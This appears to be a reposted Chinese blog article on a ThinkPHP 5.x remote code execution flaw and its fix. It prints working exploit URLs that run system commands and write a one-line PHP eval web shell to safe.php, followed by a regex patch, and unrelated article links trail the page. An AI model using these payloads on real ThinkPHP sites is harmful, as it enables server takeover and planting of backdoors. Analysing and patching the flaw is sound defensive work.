THINKPHP网站漏洞修复对于远程写入网站木马文件漏洞详情与修补

news/2024/5/9 13:08:39/文章来源:https://blog.csdn.net/weixin_33947521/article/details/89583303

THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

97647b0553fe44328eb87f00af0d206a.jpeg

关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

3f81bd04332c4ce7a53b22d1144d427f.png

漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。

在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。

我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:

e56dbce81b9e4d8095dbc214f604ac0f.png

通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

224d53d8a0f34a5795eb3e094e6f3266.png

有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php

关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.

针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_819714.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

推荐一个解剖学网站

博主高中是物生班的&#xff0c;非常喜欢生物这门课&#xff0c;后来学了很多工程类的知识&#xff0c;愈发觉得人体真是一个伟大的工程架构&#xff0c;我们如今的工程学&#xff0c;很多也是在变相的拓展人体的能力。从这个角度来看&#xff0c;医生就是人体维修师&#xff0…

C#运行网站报错:0x800700b7

1、错误信息“错误代码 0x800700b7 配置错误定义了重复的************“ 2、本机环境 windows7 IIS 7 3、解决方案

刚学编程的程序员必备这5大编程网站,你知道几个?

一个好的网站&#xff0c;就是程序员学编程的基地。虽说新手程序员也许知道一些在线编程网站&#xff0c;但是质量上乘的编程网站又知道几个呢?下面就来给大家推荐5个质量上乘的编程网站&#xff1a;0、LeetcodeLeetCode是大名鼎鼎的在线刷题网站&#xff0c;通过该网站的刷题…

大型网站优化方案思路技巧总结

在大型网站优化当中&#xff0c;SEO的术体现的并不明显。比如外链、TDK等这些基础的专业点比重是比较低的。对于大型网站的SEO优化操作更多的需要去把控好网站运营的思维来进行优化和调控&#xff0c;严格来说&#xff0c;哪怕是一个小型的企业网站&#xff0c;如果运用了大型网…

IIS部署本地网站提示无法启动网站,另一程序正在使用此文件,进程无法访问

今天在本地使用IIS部署的网站无法启动&#xff0c;因为https默认端口是443&#xff0c;为了避免本机计算机会存在以4开头的端口&#xff0c;因此我尝试使用555端口&#xff0c;结果成功解决问题。 结论 是要发布的网站的端口和本地其他服务的端口冲突了。 如果你使用了多个端…

大型网站技术架构(七)网站的可扩展性架构

2019独角兽企业重金招聘Python工程师标准>>> 扩展性是指对现有系统影响最小的情况下&#xff0c;系统功能可持续扩展或提升的能力。 设计网站可扩展架构的核心思想是模块化&#xff0c;并在此基础上&#xff0c;降低模块间的耦合性&#xff0c;提供模块的复用性。模…

IIS如何发布本地ASP.NET的网站或service

首先&#xff0c;在Visio Studio中将网站rebuild解决方案之后&#xff0c;在解决方案的窗口中邮件选择“publish”&#xff0c;然后指定文件夹&#xff1b; 具体请参考&#xff1a; 打开IIS&#xff08;Internet Information Services&#xff09;管理器 右键网站–>“添加…

域名证书是什么样子的_教你GitHub pages开启Https访问、自定义域名和CDN网站加速...

httpsGitHub page是什么&#xff1f;我只是简短讲一讲自己的理解&#xff0c;更详细的还请自行搜索&#xff0c;如果错误还请指出。GitHub pages 是一个能存放静态资源的服务器。你可以把它当做apache服务器使用。同时支持使用自定义域名解析&#xff0c;而且也支持HTTPS加密访…

dota2自建房间服务器,创建房间与房间设置 - DOTA2 - 刀塔官方网站 - 勇士令状全新上线 天陨旦活动模式推出...

在创建房间界面选择创建房间玩家进入天辉或者夜魇下面的空位&#xff0c;解说员进入解说频道。点击编辑设置可以进入设置界面可以给房间加密码&#xff0c;其他玩家可以用过密码来寻找这个房间&#xff0c;可以给房间起名字&#xff0c;如果单机测试可以勾选启用作弊、用AI玩家…

怎么在服务器上复制网站,云服务器 复制站点

云服务器 复制站点 内容精选换一换云服务器备份的约束限制如下&#xff1a;一个服务器只可加入一个备份策略。支持备份服务器中的共享云硬盘。支持选择服务器中的部分云硬盘进行备份&#xff0c;但必须将备份的云硬盘作为整体进行恢复&#xff0c;且不支持文件或者目录级别的恢…

先写html再写php,在做网站先写html还是css?哪种效果比较好

很多程序员在制作网站的时候都会有一个问题&#xff0c;不知道是先写html还是css&#xff0c;想知道有经验的程序员是先写css还是写html吗&#xff0c;接下来我们来看一下高手的步骤是怎样的。为此&#xff0c;小编上网百度&#xff0c;发现也有很多答案&#xff0c;有的高手是…

检查域名是否可以访问_域名续费后访问网站显示域名过期的原因

有时我们可能会忘记给域名续费&#xff0c;导致网站域名过期。但是我们在续费之后网站依然显示域名过期是怎么回事?域名续费后访问网站显示域名过期的原因域名续费后访问网站显示域名过期的原因一、域名续费后解析是否生效在域名续费后&#xff0c;域名的解析记录通常会在2-24…

JSON.parseObject(String str)与JSONObject.parseObject(String str)的区别

一、fastjson fastjson 是一个性能很好的 Java 语言实现的 JSON 解析器和生成器&#xff0c;来自阿里巴巴的工程师开发。其主要特点是&#xff1a; ① 快速&#xff1a;fastjson采用独创的算法&#xff0c;将parse的速度提升到极致&#xff0c;超过所有基于Java的json库&…

网站内容禁止复制的js代码

网站内容禁止复制的js代码 这篇文章主要介绍了JS如何实现网站内容禁止复制的方法&#xff0c;希望可以帮助到你~ 方法1&#xff1a; 在网页中加入以下代码&#xff1a; <script language"Javascript"> document.οncοntextmenunew Function("event.ret…

idea 快速导入实现父类方法_快速让网站实现10000+流量方法

一、友情链接友情链接无疑是作用最好的外链&#xff0c;有些情况下一个友情链接的作用可能等价于几百个甚至上千个论坛外链的作用&#xff0c;所以说要想明显地提升网站权重或是关键词排名&#xff0c;最有效的办法就是获得高权重的友情链接。在实际工作中主要是通过以下几个方…

python3.7.4游戏代码,推荐4个 Python 的编程游戏网站

↑关注 星标 &#xff0c;每天学Python新技能后台回复【大礼包】送你Python自学大礼包转自 Python编程时光学习编程虽然对有些人来说是件乐事&#xff0c;但是对大多数人来说仍然是一件比较枯燥困难的事情。当然&#xff0c;面临这样困惑的人并不是你一个。于是就出现了许多通…

WordPress站点地图html代码,wordpress代码实现网站地图sitemap的html和xml的方法

直接在原作者的基础上做了一些小小的修改&#xff0c;原理很简单&#xff0c;就是自动调用Wordpress的文章、分类、页面。当然如果怕麻烦也可以使用baidu sitemap generator这个插件&#xff0c;也是非常不错的插件。今天介绍的就是不使用插件完成wordpress代码实现网站地图sit…

php安装docsify,docsify - 无需构建快速生成文档网站

docsify无需构建快速生成文档页特性无需构建&#xff0c;写完 markdown 直接发布支持自定义主题容易使用并且轻量快速上手创建项目新建一个空项目&#xff0c;接着创建一个 docs 目录并进入到 docs 目录下mkdir my-project && cd my-projectmkdir docs && cd d…

哪里有模板建站配云服务器销售,模板建站配云服务器费用

模板建站配云服务器费用 内容精选换一换本节操作介绍华为云上云服务器的跨账号跨区域迁移&#xff0c;建议采用镜像迁移方式。服务器迁移的常见场景与常用的迁移方式请参考迁移的背景知识。跨账号跨区域迁移的方法请参考方案介绍常见的服务器迁移场景包括物理服务器与云服务器之…

【Python3 爬虫】06_robots.txt查看网站爬取限制情况

大多数网站都会定义robots.txt文件来限制爬虫爬去信息&#xff0c;我们在爬去网站之前可以使用robots.txt来查看的相关限制信息例如&#xff1a;我们以【CSDN博客】的限制信息为例子在浏览器输入&#xff1a;https://blog.csdn.net/robots.txt获取到信息如下&#xff1a;从上图…